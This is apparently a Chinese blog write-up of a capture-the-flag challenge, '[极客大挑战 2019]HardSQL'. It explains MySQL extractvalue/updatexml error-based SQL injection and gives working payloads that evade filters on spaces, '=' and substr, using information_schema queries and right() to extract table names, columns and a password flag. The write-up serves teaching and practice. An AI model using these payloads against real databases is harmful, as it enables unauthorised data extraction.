[极客大挑战 2019]HardSQL

这不还是老熟人,这些话之前不是说过了?

然而之后的五分钟里我把毕生所学的都扔进去了,得到这个。

看writeup。

新知识:MySQL updatexml()、extractvalue() 报错型SQL注入

extractvalue、updatexml报错原理:

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml

名称描述
ExtractValue()使用XPath表示法从XML字符串中提取值
UpdateXML()返回替换的XML片段

通过这两个函数可以完成报错注入

一、extractvalue函数

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。

mysql> select extractvalue('<a><b/><b></a>','~');

此处仅学习报错注入,所以并没有深刻了解函数原理。

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

mysql> select extractvalue('1',concat('~',(select database())));

二、updatexml函数

UpdateXML(xml_target, xpath_expr, new_xml)

xml_target:: 需要操作的xml片段

xpath_expr: 需要更新的xml路径(Xpath格式)

new_xml: 更新后的内容

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。使用方式如下:

mysql> SELECT
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
    ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
    -> \G

*************************** 1. row ***************************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>

这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容:

mysql> select updatexml('1',concat('~',(select database())),'1');

三、回到本题:

常规都被过滤之后,用XPATH报错注入

'or(extractvalue(1,concat('~',database())))#           //extractvalue
'or(updatexml(1,concat('~',database()),1))#           //updatexml

这里的or也可以换成连接函数的 ^

'^(extractvalue(1,concat('~',database())))#           //extractvalue
'^(updatexml(1,concat('~',database()),1))#           //updatexml

得到库名geek

接着看表:

这里等号=被过滤,可以用like

'or(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")))))#

得到表名H4rDsq1

看字段名:

'or(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))#

看字段值:

'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#

很明显不全,因为updatexml和extractvalue两个函数有长度最长32的限制。

这时候要想到mysql的一些函数:substr,left,right

  • substr(字符串,起始位置,截取长度)
  • left(字符串,截取长度)#从左往右截取*
  • right(字符串,截取长度)#从右往左截取*

注意:substr被过滤了

'or(extractvalue(1,concat('~',(select(right(password,30))from(H4rDsq1)))))#

可见832f-11后面就是剩下的flag了。

于是得到flag{cf122bb8-1359-4b84-832f-11d435c8bea1}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇